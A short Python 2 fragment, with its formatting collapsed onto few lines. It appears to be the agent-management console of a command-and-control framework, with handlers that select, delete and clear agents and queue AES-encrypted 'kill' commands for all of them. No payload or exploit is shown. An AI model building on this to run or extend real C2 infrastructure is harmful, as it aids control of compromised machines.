def use(self, args=None): if len(args) < 2: return id = args[1] for i in config.AGENTS: if id == str(config.AGENTS[i][0]): id = i config.set_pointer(i) break
def delete(self, args=None): if config.get_pointer() != 'main': config.set_pointer('main') if len(args) < 2: print "delete <id>" return id = args[1] agent = '' for i in config.AGENTS: if id == str(config.AGENTS[i][0]): agent = i break if agent != '': del config.AGENTS[agent]
def back(self, args=None): config.set_pointer('main')
def delete_all(self, args=None): if config.get_pointer() != 'main': config.set_pointer('main') config.AGENTS.clear()
def kill_all(self, args=None): if config.get_pointer() != 'main': config.set_pointer('main') for i in config.AGENTS: config.COMMAND[i].append( encrypt(config.AESKey, "kill " + config.AGENTS[i][8]))